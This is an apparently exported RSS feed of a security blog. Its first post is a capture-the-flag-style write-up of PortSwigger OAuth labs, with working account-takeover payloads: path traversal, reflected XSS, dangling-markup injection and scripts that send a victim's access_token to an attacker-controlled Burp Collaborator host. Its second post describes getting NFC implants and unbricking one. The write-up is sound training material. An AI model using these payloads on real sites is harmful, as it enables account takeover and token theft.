<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[intrd has spoken]]></title><description><![CDATA[intrd has spoken]]></description><link>http://dann.com.br/</link><generator>Ghost 0.11</generator><lastBuildDate>Wed, 14 May 2025 10:15:37 GMT</lastBuildDate><atom:link href="http://dann.com.br/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution]]></title><description><![CDATA[<p>PortSwigger provides some labs that is constantly updated and I like to use it to improve my web hacking skills. </p>

<p>Recently they released a whole new set of labs on OAuth Authentication, I solved each one, learned new things, and ended up with a interesting unintended solution for the "Expert"</p>]]></description><link>http://dann.com.br/web-security-academy-going-deep-on-oauth-labs-and-a-beautiful-unintended-solution/</link><guid isPermaLink="false">83fe1436-f9f5-4e24-a706-875744a5c439</guid><category><![CDATA[web security]]></category><category><![CDATA[portswigger]]></category><category><![CDATA[oauth]]></category><category><![CDATA[openid]]></category><dc:creator><![CDATA[intrd]]></dc:creator><pubDate>Sun, 20 Dec 2020 07:50:45 GMT</pubDate><media:content url="http://dann.com.br/content/images/2020/12/writeup25.png" medium="image"/><content:encoded><![CDATA[<img src="http://dann.com.br/content/images/2020/12/writeup25.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution"><p>PortSwigger provides some labs that is constantly updated and I like to use it to improve my web hacking skills. </p>

<p>Recently they released a whole new set of labs on OAuth Authentication, I solved each one, learned new things, and ended up with a interesting unintended solution for the "Expert" lab that I want to share back to the community.</p>

<p><img src="http://dann.com.br/content/images/2020/12/writeup0.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution"></p>

<p>This lab is a simple blogging system that allows users to login with their social network.</p>

<p><img src="http://dann.com.br/content/images/2020/12/writeup1.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution"></p>

<p>The admin will open every link you send. So we need to craft a <code>one-click account takeover exploit</code> to access the admin <code>API key</code>.</p>

<h2 id="theintendedsolution">The intended solution</h2>

<p>After analyzing the social media authentication request you will notice a <code>redirect_uri</code> parameter pointing to the <code>oauth callback URL</code>. This is where the system will redirect after confirming the authentication and it will append the current session <code>access_token</code> as <code>URL fragment</code> on client-side browser.</p>

<pre><code>https://ac651fc21edf6692801b01df027000b8.web-security-academy.net/auth?client_id=h5hsc2015lpfl11rdst2n&amp;redirect_uri=https://acba1f7e1eac66838035014900ce0059.web-security-academy.net/oauth-callback&amp;response_type=token&amp;nonce=2022103900&amp;scope=openid%20profile%20email  
</code></pre>

<p><img src="http://dann.com.br/content/images/2020/12/writeup2.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution"></p>

<p>In some cases you can directly change the <code>redirect_uri</code> pointing to your own server leaking the <code>access_token</code>.</p>

<pre><code>https://ac651fc21edf6692801b01df027000b8.web-security-academy.net/auth?client_id=h5hsc2015lpfl11rdst2n&amp;redirect_uri=https://YOUR-SERVER-HERE/oauth-callback&amp;response_type=token&amp;nonce=2022103900&amp;scope=openid%20profile%20email  
</code></pre>

<p>But not in this case..</p>

<p><img src="http://dann.com.br/content/images/2020/12/writeup3.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution"></p>

<p>There's a whitelist of <code>redirect_uris</code> and the URL must include the substring:  </p>

<pre><code>https://acba1f7e1eac66838035014900ce0059.web-security-academy.net/oauth-callback  
</code></pre>

<h3 id="pathtraversal">Path traversal</h3>

<p>The whitelist forces the redirection to be fixed on this <code>host</code>, but not on this <code>path</code>, because this whitelist is vulnerable to a <code>Path Traversal</code>.</p>

<pre><code>https://acba1f7e1eac66838035014900ce0059.web-security-academy.net/oauth-callback/../OTHERPATH

Will be interpreted as:

https://acba1f7e1eac66838035014900ce0059.web-security-academy.net/OTHERPATH  
</code></pre>

<p>Knowing this, we can redirect the callback to <code>everywhere</code> on this host, but where we can redirect to leak their <code>access_token</code>?</p>

<h3 id="insecurewebmessagingscripts">Insecure web messaging scripts</h3>

<p>After a enumeration I found some <code>insecure web messaging scripts</code> that create a <code>Post Message</code> with the <code>data="window.location.href"</code> when the page loads pointing to a <code>parent listener</code> trusting on <code>*</code>.</p>

<p><img src="http://dann.com.br/content/images/2020/12/writeup7.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution">
<small>Parent Post Message trigger trusting on *</small></p>

<p><img src="http://dann.com.br/content/images/2020/12/writeup5.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution">
<small>Following the Post Message content, triggered on page load.</small></p>

<p><img src="http://dann.com.br/content/images/2020/12/writeup6.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution">
<small>Post message Event Listener on a comment box.</small></p>

<blockquote>
  <p>This is a perfect gadget to us, because <code>window.location.href</code> includes the <code>URL fragment</code> and the post message will propagate to <code>every parent listener</code>.</p>
</blockquote>

<p>So, the main idea is: </p>

<ul>
<li>Create a malicious web page w/ our <code>own listener</code> redirecting the <code>event data</code> to a external server;</li>
<li>Include a <code>IFRAME</code> to load the Callback redirecting to a Path Traversal <code>/oauth-callback/../post/comment/comment-form</code> where the post message trigger are stored;</li>
<li>The post message will be sent to <code>our parent listener</code> and the listener will dump the <code>event data</code> to our external server using a JS <code>location redir</code>.</li>
</ul>

<h3 id="myfinalpayload">My final payload</h3>

<p>The expected payload to solve this lab.  </p>

<pre><code>&lt;script&gt;  
window.addEventListener('message', function(e){  
  var myJSON = JSON.stringify(e.data); 
  location="https://xjk4v64ui2yq425467i1tz766xcn0c.burpcollaborator.net/?x="+encodeURIComponent(myJSON);
    });
&lt;/script&gt; 

&lt;iframe id="aaaa" src="https://ac6d1f1f1e9462a380ec24ee02f500e3.web-security-academy.net/auth?client_id=pfx6adz3dqzlgebroh99o&amp;redirect_uri=https://acd01fa21eb0624f806f2427008a0072.web-security-academy.net/oauth-callback/../post/comment/comment-form&amp;response_type=token&amp;nonce=1679470272&amp;scope=openid%20profile%20email" onload="this.contentWindow.postMessage('intrd'),'*')"&gt;  
</code></pre>

<p>Hosting this on a malicious web page and sending to user will leak the <code>access_token</code>.</p>

<p><img src="http://dann.com.br/content/images/2020/12/writeup10.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution"></p>

<p>And finally with this <code>Bearer</code> session token we can <code>authenticate as admin</code>, extract their <code>APIKEY</code>.</p>

<p><img src="http://dann.com.br/content/images/2020/12/writeup9.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution"></p>

<p>And submit the solution.</p>

<p><img src="http://dann.com.br/content/images/2020/12/writeup11.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution"></p>

<h2 id="theunintendedsolution">The unintended solution</h2>

<p>Well, the original solution depends on this Web Message scripts.</p>

<blockquote>
  <p>What if there's no Web Message scripts?</p>
</blockquote>

<p>So, If you enumerate this <code>OpenID</code> authentication server a little more you will find the <code>OpenID Connect</code> configuration values from the provider's <code>Well-Known Configuration Endpoint</code>, per the specification (<a href="http://openid.net/specs/openid-connect-discovery-1_0.html#ProviderConfigurationRequest">http://openid.net/specs/openid-connect-discovery-1_0.html#ProviderConfigurationRequest</a>).</p>

<blockquote>
  <p>The <code>/.well-known/openid-configuration</code> will leak all OpenID endpoints and accepted parameters.</p>
</blockquote>

<p><img src="http://dann.com.br/content/images/2020/12/writeup12.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution"></p>

<p>As we know, the default <code>response_mode</code> is <code>fragment</code>, its not included on the request but you can add the parameter and get the normal redirect callback+fragments response.</p>

<p><img src="http://dann.com.br/content/images/2020/12/writeup13.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution"></p>

<p>Now following this OpenID configuration I noticed that we are also allowed to set <code>form_post</code>,<code>fragment</code> and <code>query</code> modes.</p>

<p>And the <code>form_post</code> mode will return a HTML page with a <code>auto-submit form</code> that includes a <code>hidden access_token input</code>.</p>

<p><img src="http://dann.com.br/content/images/2020/12/writeup14.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution"></p>

<p>You can also change the <code>response_type</code> to <code>id_token token</code>, it will return a full <code>JWT token</code>, useful in some cases.</p>

<p><img src="http://dann.com.br/content/images/2020/12/writeup15.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution"></p>

<h3 id="htmlinjection">HTML Injection</h3>

<p>The same way this endpoint are vulnerable to <code>Path Traversal</code>, it is also vulnerable to <code>HTML Injection</code>.</p>

<blockquote>
  <p>I noticed that you can break the <code>"&gt;</code> and reflect everything the callback response page, there's no filtering.</p>
</blockquote>

<p>With the following payload you are able to trigger a perfect <code>reflected XSS</code>, and it will be processed before the callback <code>auto-form post</code>.  </p>

<pre><code>https://ac781f131e7fc6b480b0008402df0010.web-security-academy.net/auth?client_id=j12euxwsilq7h2ify5qop&amp;redirect_uri=https://ac621fda1e74c65080fa0017006500e8.web-security-academy.net/oauth-callback"&gt;&lt;script&gt;alert(0)&lt;/script&gt;&lt;x="&amp;response_type=token&amp;nonce=-752270522&amp;scope=openid%20profile%20email&amp;response_mode=form_post  
</code></pre>

<p><img src="http://dann.com.br/content/images/2020/12/writeup16.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution"></p>

<p><img src="http://dann.com.br/content/images/2020/12/writeup17.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution"></p>

<blockquote>
  <p>Now we have a <code>XSS</code> executed directly on a page containing the <code>access_token</code>. </p>
</blockquote>

<p>We just need to find a way to dump this page content to a external server.</p>

<h3 id="tryingtoredirectthedocumentbodyinnerhtmltoaexternalserver">Trying to redirect the document.body.innerHTML to a external server</h3>

<p>This is the most simple way to read a page content from a XSS bypassing CORS, and the first thing to came in my mind.</p>

<pre><code>https://acdd1f011f7a275781d61e6c02b8005e.web-security-academy.net/auth?client_id=wt8e823bklnuhof8cekfj&amp;redirect_uri=https://ac7b1fca1f9e271c81e31e7e00c30051.web-security-academy.net/oauth-callback/%22%3e%3c%73%63%72%69%70%74%3e%6c%6f%63%61%74%69%6f%6e%3d%22%68%74%74%70%73%3a%2f%2f%61%76%39%68%37%6a%67%37%75%66%61%33%67%66%68%68%69%6b%75%65%35%63%6a%6a%69%61%6f%31%63%71%2e%62%75%72%70%63%6f%6c%6c%61%62%6f%72%61%74%6f%72%2e%6e%65%74%3f%78%3d%22%2b%65%6e%63%6f%64%65%55%52%49%43%6f%6d%70%6f%6e%65%6e%74%28%64%6f%63%75%6d%65%6e%74%2e%62%6f%64%79%2e%69%6e%6e%65%72%48%54%4d%4c%29%3c%2f%73%63%72%69%70%74%3e%3c%78%3d%22%26%72%65%73%70%6f%6e%73%65%5f%74%79%70%65%3d%74%6f%6b%65%6e&amp;nonce=381190702&amp;scope=openid%20profile%20email&amp;response_mode=form_post  
</code></pre>

<p><img src="http://dann.com.br/content/images/2020/12/writeup19.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution"></p>

<p>The redirection works, the XSS read the <code>document.body.innerHTML</code> URIencode and send to a external server as a parameter. </p>

<p><img src="http://dann.com.br/content/images/2020/12/writeup18.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution"></p>

<p>But because the <code>synchronous nature of Javascript</code> the page content breaks on the exact point that script is executed closing the <code>&lt;/form&gt;</code> and ignoring the rest of the page, also ignoring the <code>access_token</code> input value.</p>

<h3 id="takingadvantageofcallbackautosubmitformtosubmitadanglingforminputasanewcomment">Taking advantage of callback auto-submit form to submit a dangling form input as a new comment</h3>

<p>This one was cool, the main idea is:</p>

<ul>
<li>Use this <code>auto-submit form</code> generated by <code>OpenID callback</code> pointing to a Path traversal <code>/oauth-callback/../post/comment</code></li>
<li>This will submit a new comment on the blog comment box</li>
<li>And I will use a <code>dangling &lt;textarea&gt;</code> to read the rest of the page, including the <code>access_token input</code> and set it as <code>comment</code> input value.</li>
</ul>

<pre><code>https://acdd1f011f7a275781d61e6c02b8005e.web-security-academy.net/auth?client_id=wt8e823bklnuhof8cekfj&amp;redirect_uri=https://ac7b1fca1f9e271c81e31e7e00c30051.web-security-academy.net/oauth-callback/../post/comment"&gt;&lt;input+type%3d"hidden"+name%3d"csrf"+value%3d"krmJUkwDpNZFBqhiFEDpP25A9Ql6uAKg"&gt;&lt;input+type%3d"hidden"+name%3d"name"+value%3d"aaaaaa"&gt;&lt;input+type%3d"hidden"+name%3d"email"+value%3d"aaaaaa@sads.com"&gt;&lt;input+type%3d"hidden"+name%3d"website"+value%3d"http://asdsd"&gt;&lt;input+type%3d"hidden"+name%3d"postId"+value%3d"1"&gt;&lt;textarea+id%3d"hidden"+name%3d"comment"+rows%3d"4"+cols%3d"50"&gt;&amp;response_type=token&amp;nonce=381190702&amp;scope=openid%20profile%20email&amp;response_mode=form_post  
</code></pre>

<p>Pay attention on that dangling <code>&lt;textarea&gt;</code> that never closes, this will send the rest of the form as <code>comment</code> parameter.</p>

<p>Crazy idea?</p>

<p><img src="http://dann.com.br/content/images/2020/12/writeup20.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution"></p>

<p>It works like a charm, commented the victim <code>access_token</code>.</p>

<p><img src="http://dann.com.br/content/images/2020/12/writeup22.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution"></p>

<p>But there's a problem here, our payload has a <code>hardcoded CSRF token</code> and the victim session(admin) will have a different <code>CSRF token</code>, so we need to leak this <code>CSRF token</code> first and then do the post.</p>

<p>This sounds possible, but i've found a better way.</p>

<h3 id="asynchronousfetchingtheentirecallbackpage">Asynchronous fetching the entire callback page</h3>

<p>We already are controlling the client-side browsing why not force the client to do <code>another callback redirect</code> and then fetch the full response using <code>JavaScript Fetch API</code>?</p>

<pre><code>"&gt;&lt;script&gt;

const url = 'https://acdd1f011f7a275781d61e6c02b8005e.web-security-academy.net/auth?client_id=wt8e823bklnuhof8cekfj&amp;redirect_uri=https://ac7b1fca1f9e271c81e31e7e00c30051.web-security-academy.net/oauth-callback&amp;response_type=token&amp;nonce=381190702&amp;scope=openid%20profile%20email&amp;response_mode=form_post';  
const intrd_collab = 'https://n6uuiwrk5slgrssutx5rgpuwtnzgn5.burpcollaborator.net';

const request = async () =&gt; {  
    const response = await fetch(url);
    const dump = await response.text();
    new Image().src=intrd_collab+'/?dump='+encodeURIComponent(dump);
}
request();

&lt;/script&gt;&lt;input "hidden" name="xxx" value="  
</code></pre>

<p>The idea here is:</p>

<ul>
<li>Change the OpenID <code>response_mode</code> to <code>form_post</code>, returning a auto-submit callback page;</li>
<li>Use the <code>XSS</code> to execute a <code>async fetch JS</code> to the response;</li>
<li>This will do a <code>new GET request</code> to the callback and stores the full response into a variable;</li>
<li>URIencode this variable as a parameter and create a <code>new Image()</code> that point the <code>src</code> to a external server.</li>
</ul>

<p>This way you can read the entire callback page content and the <code>new Image()</code> trick will <code>bypass the CORS</code>.</p>

<h3 id="finalpayloadunintendedway">Final Payload (unintended way)</h3>

<p>Putting all the things together.</p>

<pre><code>&lt;script&gt;  
location="https://acdd1f011f7a275781d61e6c02b8005e.web-security-academy.net/auth?client_id=wt8e823bklnuhof8cekfj&amp;redirect_uri=https://ac7b1fca1f9e271c81e31e7e00c30051.web-security-academy.net/oauth-callback%22%3e%3c%73%63%72%69%70%74%3e%0d%0a%0d%0a%63%6f%6e%73%74%20%75%72%6c%20%3d%20%27%68%74%74%70%73%3a%2f%2f%61%63%64%64%31%66%30%31%31%66%37%61%32%37%35%37%38%31%64%36%31%65%36%63%30%32%62%38%30%30%35%65%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%61%75%74%68%3f%63%6c%69%65%6e%74%5f%69%64%3d%77%74%38%65%38%32%33%62%6b%6c%6e%75%68%6f%66%38%63%65%6b%66%6a%26%72%65%64%69%72%65%63%74%5f%75%72%69%3d%68%74%74%70%73%3a%2f%2f%61%63%37%62%31%66%63%61%31%66%39%65%32%37%31%63%38%31%65%33%31%65%37%65%30%30%63%33%30%30%35%31%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%6f%61%75%74%68%2d%63%61%6c%6c%62%61%63%6b%26%72%65%73%70%6f%6e%73%65%5f%74%79%70%65%3d%74%6f%6b%65%6e%26%6e%6f%6e%63%65%3d%33%38%31%31%39%30%37%30%32%26%73%63%6f%70%65%3d%6f%70%65%6e%69%64%25%32%30%70%72%6f%66%69%6c%65%25%32%30%65%6d%61%69%6c%26%72%65%73%70%6f%6e%73%65%5f%6d%6f%64%65%3d%66%6f%72%6d%5f%70%6f%73%74%27%3b%0d%0a%63%6f%6e%73%74%20%69%6e%74%72%64%5f%63%6f%6c%6c%61%62%20%3d%20%27%68%74%74%70%73%3a%2f%2f%6e%36%75%75%69%77%72%6b%35%73%6c%67%72%73%73%75%74%78%35%72%67%70%75%77%74%6e%7a%67%6e%35%2e%62%75%72%70%63%6f%6c%6c%61%62%6f%72%61%74%6f%72%2e%6e%65%74%27%3b%0d%0a%0d%0a%63%6f%6e%73%74%20%72%65%71%75%65%73%74%20%3d%20%61%73%79%6e%63%20%28%29%20%3d%3e%20%7b%0d%0a%20%20%20%20%63%6f%6e%73%74%20%72%65%73%70%6f%6e%73%65%20%3d%20%61%77%61%69%74%20%66%65%74%63%68%28%75%72%6c%29%3b%0d%0a%20%20%20%20%63%6f%6e%73%74%20%64%75%6d%70%20%3d%20%61%77%61%69%74%20%72%65%73%70%6f%6e%73%65%2e%74%65%78%74%28%29%3b%0d%0a%20%20%20%20%6e%65%77%20%49%6d%61%67%65%28%29%2e%73%72%63%3d%69%6e%74%72%64%5f%63%6f%6c%6c%61%62%2b%27%2f%3f%64%75%6d%70%3d%27%2b%65%6e%63%6f%64%65%55%52%49%43%6f%6d%70%6f%6e%65%6e%74%28%64%75%6d%70%29%3b%0d%0a%7d%0d%0a%72%65%71%75%65%73%74%28%29%3b%0d%0a%0d%0a%3c%2f%73%63%72%69%70%74%3e%3c%69%6e%70%75%74%20%22%68%69%64%64%65%6e%22%20%6e%61%6d%65%3d%22%78%78%78%22%20%76%61%6c%75%65%3d%22&amp;response_type=token&amp;nonce=381190702&amp;scope=openid%20profile%20email&amp;response_mode=form_post";  
&lt;/script&gt;  
</code></pre>

<p>When the authenticated victim clicks on the malicious link..</p>

<p>The entire callback page including the <code>access_token</code> will be leaked to our controlled server as a encoded parameter.</p>

<p><img src="http://dann.com.br/content/images/2020/12/writeup23.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution"></p>

<p>And we can use the session token to retrieve the API token. <code>:)</code></p>

<p><img src="http://dann.com.br/content/images/2020/12/writeup24.png" alt="Web Security Academy : Going deep on OAuth labs and a beautiful unintended solution"></p>

<h1 id="bonusanotherxss">Bonus: Another XSS</h1>

<p>The blog post endpoint <code>/post?postId=9&amp;uly0j'&gt;&lt;script&gt;alert(1)&lt;/script&gt;aaaa=1</code> will also works to trigger the XSS and I believe that it can be used to find another ways to leak the <code>access_token</code>.</p>

<h2 id="references">References</h2>

<ul>
<li>Stealing OAuth access tokens via a proxy page (Lab) - <a href="https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page">https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page</a></li>
<li>PostMessage-tracker by Frans Rosén - <a href="https://github.com/fransr/postMessage-tracker">https://github.com/fransr/postMessage-tracker</a></li>
<li>OpenID Connect Discovery 1.0 incorporating errata set 1 - <a href="https://openid.net/specs/openid-connect-discovery-1_0.html#ProviderConfigurationRequest">https://openid.net/specs/openid-connect-discovery-1_0.html#ProviderConfigurationRequest</a></li>
<li>OAuth 2.0 authentication vulnerabilities - <a href="https://portswigger.net/web-security/oauth">https://portswigger.net/web-security/oauth</a></li>
<li>OpenID Connect vulnerabilities - <a href="https://portswigger.net/web-security/oauth/openid#openid-connect-vulnerabilities">https://portswigger.net/web-security/oauth/openid#openid-connect-vulnerabilities</a></li>
<li>The Fetch API - <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API</a></li>
</ul>]]></content:encoded></item><item><title><![CDATA[BIOHACKING : How I got two NFC implants @ DEF CON 27, why I bricked and how fixed it?]]></title><description><![CDATA[<p>I haven't updated this blog for a long time. Too busy with the new job. But I got some time to tell you an interesting tale of a n00b on BioHacking Village @ DEF CON 27.</p>

<p>Biohacking is an exciting thing, something that combines minimalism with Open Source technology that allows</p>]]></description><link>http://dann.com.br/biohacking-how-i-got-two-nfc-implants-def-con-27-and-how-i-bricked-and-fixed-it/</link><guid isPermaLink="false">4f9b3197-96f0-49a5-a005-dccc7dc8ff59</guid><category><![CDATA[biohacking]]></category><category><![CDATA[nfc implant]]></category><category><![CDATA[defcon]]></category><category><![CDATA[defcon27]]></category><dc:creator><![CDATA[intrd]]></dc:creator><pubDate>Fri, 16 Aug 2019 00:42:55 GMT</pubDate><media:content url="http://dann.com.br/content/images/2019/08/2019-08-15_21-40.png" medium="image"/><content:encoded><![CDATA[<img src="http://dann.com.br/content/images/2019/08/2019-08-15_21-40.png" alt="BIOHACKING : How I got two NFC implants @ DEF CON 27, why I bricked and how fixed it?"><p>I haven't updated this blog for a long time. Too busy with the new job. But I got some time to tell you an interesting tale of a n00b on BioHacking Village @ DEF CON 27.</p>

<p>Biohacking is an exciting thing, something that combines minimalism with Open Source technology that allows me to load a few bytes of data into my body that can be wireless readable, it always seemed like a good idea to me. <strong>Amal Graafstra</strong>, founder and CEO of @<a href="https://twitter.com/DangerousThings">DangerousThings</a> was the pioneer, a good overview here: <a href="https://www.youtube.com/watch?v=7DxVWhFLI6E">TEDx talk</a>.</p>

<h2 id="lookingforaprofessionalbodypiercers">Looking for a professional body piercers</h2>

<p>So, while watching some talks on DEF CON 27, I found a tweet from @<a href="https://twitter.com/c00p3r_7">c00p3r_7</a> (Dangerous Minds) saying there would be some implants available on <a href="https://twitter.com/dc_bhv">Biohacking village</a>. </p>

<p><img src="http://dann.com.br/content/images/2019/08/2019-08-16_01-33.png" alt="BIOHACKING : How I got two NFC implants @ DEF CON 27, why I bricked and how fixed it?"></p>

<p>..so I rushed to <a href="https://twitter.com/dc_bhv">Biohacking village</a></p>

<p><img src="http://dann.com.br/content/images/2019/08/2019-08-15_18-15_1.jpg" alt="BIOHACKING : How I got two NFC implants @ DEF CON 27, why I bricked and how fixed it?"></p>

<h2 id="choosingtheimplant">Choosing the implant</h2>

<p>Did a little research on available chips and choose the <strong>xNT NFC Chip:</strong></p>

<p><img src="http://dann.com.br/content/images/2019/08/2019-08-15_21-44.png" alt="BIOHACKING : How I got two NFC implants @ DEF CON 27, why I bricked and how fixed it?">
<em><small>Picture from chipmylife.io</small></em></p>

<p>A 13.56MHz ISO14443A &amp; NFC Type 2 chip (2x12mm cylindrical sterile bioglass implant) w/ 886 bytes of user read/write memory. Perfect size/capacity for the applications that I want.</p>

<blockquote>
  <p>Passive NFC chips are magnetically coupled devices that power themselves and communicate data over a shared magnetic field the reader generates. It has no battery, when it is out of the magnetic field it is useless like a splinter.</p>
</blockquote>

<p>Quality of the bioglass? take a look at <a href="https://forum.dangerousthings.com/t/tests-weve-performed-on-our-x-series-tags/474">x-series stress tests</a> by Dangerousthings.</p>

<h2 id="theimplant">The implant</h2>

<p>So no frills, a nice and very professionally girl  made the implant, video:</p>

<iframe width="693" height="390" src="https://www.youtube.com/embed/OLxfu4jF4Qs" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

<p>Implant technical details? <a href="https://dangerousthings.com/wp-content/uploads/Professional-Guide-to-2x12mm-transponder-installation.pdf">Professional Guide to 2x12mm GlassTransponder Installation</a> published by Dangerousthings.</p>

<p>Also, if you are curious about how to remove it, here is a random <a href="https://www.youtube.com/watch?v=_Qpj2ZztycE">video</a> (graphic).</p>

<h2 id="readwritetest">Read/Write test</h2>

<p>A few hours later when I arrived back to the hotel, so I did the first reading/writing using <strong>NFC Tools</strong> on a mobile phone.</p>

<p><img src="http://dann.com.br/content/images/2019/08/2019-08-16_02-40.png" alt="BIOHACKING : How I got two NFC implants @ DEF CON 27, why I bricked and how fixed it?"></p>

<blockquote>
  <p>I noticed that the power of the smartphone reader that's enough but not so strong/stable, so a minimum movement would end up damaging the reading/writing operation.</p>
</blockquote>

<h2 id="softbrickingthenfcimplant">Soft bricking the NFC implant</h2>

<p>I live to break/fix things, already imagined that would brick my implant (but not so fast). And of course, I didn't <a href="https://dangerousthings.com/wp-content/uploads/NTAG213_215_216.pdf">RTFM</a> and did not used the official DT <a href="https://play.google.com/store/apps/details?id=com.dangerousthings.nfc&amp;hl=en">app</a> (that prepares the user memory pages protecting the config pages to read/write).</p>

<p>So after a few read/writes with NFC Tools Pro, while writing some records (a <code>String text</code> and a <code>BTC pubkey</code>), I've write protected it by setting a password. </p>

<blockquote>
  <p>..but this time the writing did not end entirely and threw a writing an error, I think I took it too early and confirmed bricked my NFC implant.</p>
</blockquote>

<p>Now, no application had writing permission on my implant, even the official one. Also tried to send some low-level authentication instructions, but it returns <code>NAK (denied)</code>.</p>

<p><img src="http://dann.com.br/content/images/2019/08/2019-08-15_19-57.png" alt="BIOHACKING : How I got two NFC implants @ DEF CON 27, why I bricked and how fixed it?"></p>

<p>I even thought I could have written the password in half or some symbol truncated the password, because I'd tried to set a strong password, tried just a few bytes, possible mutations, but no success.</p>

<blockquote>
  <p>No problem, my 1st NFC implant become bricked but not useless, reading still works, a cool text string and my btc pubkey was stored, like a permanent tattoo :)</p>
</blockquote>

<p><img src="http://dann.com.br/content/images/2019/08/2019-08-15_20-26.png" alt="BIOHACKING : How I got two NFC implants @ DEF CON 27, why I bricked and how fixed it?"></p>

<h2 id="secondnfcimplant">Second NFC implant</h2>

<p>My permanent tattoo was ok, but I liked the thing, So why not do another implant? Then I did it! </p>

<p>Meet @<a href="https://twitter.com/c00p3r_7">c00p3r_7</a> (Dangerous Minds) at @<a href="https://twitter.com/toool">toool</a> Lockpick Village.</p>

<p><img src="http://dann.com.br/content/images/2019/08/2019-08-15_23-00.png" alt="BIOHACKING : How I got two NFC implants @ DEF CON 27, why I bricked and how fixed it?"></p>

<p>..and got a new one on my right hand! This time I didn't even touch the implants until I back home.</p>

<p><img src="http://dann.com.br/content/images/2019/08/2019-08-16_02-39.png" alt="BIOHACKING : How I got two NFC implants @ DEF CON 27, why I bricked and how fixed it?"></p>

<h2 id="rtfmunbrickingtheimplant">RTFM &amp; Unbricking the implant</h2>

<p>Now with a computer, proper devices and time to read the <a href="https://dangerousthings.com/wp-content/uploads/NTAG213_215_216.pdf">datasheet documentation</a> and all material from the <a href="https://forum.dangerousthings.com/c/info">DangerThings forum</a>, i'm ready to try some things.</p>

<p>After understanding the memory organization, the function of <strong>ACCESS</strong>, <strong>MIRROR</strong> page.</p>

<p><img src="http://dann.com.br/content/images/2019/08/2019-08-15_20-34.png" alt="BIOHACKING : How I got two NFC implants @ DEF CON 27, why I bricked and how fixed it?"></p>

<p>..and <strong>AUTH0/PROT/PWD</strong> configuration parameters, I finally figured out what happened.</p>

<p><img src="http://dann.com.br/content/images/2019/08/2019-08-15_20-37.png" alt="BIOHACKING : How I got two NFC implants @ DEF CON 27, why I bricked and how fixed it?">
<img src="http://dann.com.br/content/images/2019/08/2019-08-15_20-43.png" alt="BIOHACKING : How I got two NFC implants @ DEF CON 27, why I bricked and how fixed it?"></p>

<p>Comparing w/ my bricked NFC implant config pages parameters:</p>

<p><img src="http://dann.com.br/content/images/2019/08/2019-08-15_20-51.png" alt="BIOHACKING : How I got two NFC implants @ DEF CON 27, why I bricked and how fixed it?"></p>

<p>As you can see, NFC Tools Pro write every record ok, also set the <code>E2</code> page read-only locking permissions dependent of a password, and changed the <code>AUTH0</code> config flag to mark every page below the <code>00</code> as read-only (everything including user memory and config page), but the connection broken while setting the password page which remained the standard. Luckily we can still read the config page including the password.</p>

<blockquote>
  <p>That's why the password I was using didn't work anymore and that combination was not accepted by GUI NFC applications.</p>
</blockquote>

<p>So, I authed with the default password <code>1B FFFFFFFF</code> (it returns <code>0000</code> if the default pw is correct not <code>PAK</code> or <code>NAK</code>). Then sent <code>A2 E3040000E2</code> to change <code>AUTH0</code> from <code>00</code> to <code>E2</code>.</p>

<p><img src="http://dann.com.br/content/images/2019/08/2019-08-15_21-03.png" alt="BIOHACKING : How I got two NFC implants @ DEF CON 27, why I bricked and how fixed it?">
...
<img src="http://dann.com.br/content/images/2019/08/2019-08-15_21-08.png" alt="BIOHACKING : How I got two NFC implants @ DEF CON 27, why I bricked and how fixed it?"></p>

<p>And done, I am able to write to it again!</p>

<p><img src="http://dann.com.br/content/images/2019/08/2019-08-15_21-14.png" alt="BIOHACKING : How I got two NFC implants @ DEF CON 27, why I bricked and how fixed it?"></p>

<p>I've changed the default pw and now after sending <code>A2 E480050000</code> to set config pages password-dependent also for reading the config pages are returned like this:</p>

<pre><code>...
[E1] ?  00 00 00 00 |....|
[E2] ?p XX XX XX XX (LOCK2-LOCK4, CHK)
[E3] ?p XX XX XX XX (CFG, MIRROR, AUTH0)
[E4] ?p XX XX -- -- (ACCESS)
[E5] +P XX XX XX XX (PWD0-PWD3)
[E6] +P XX XX -- -- (PACK0-PACK1)
</code></pre>

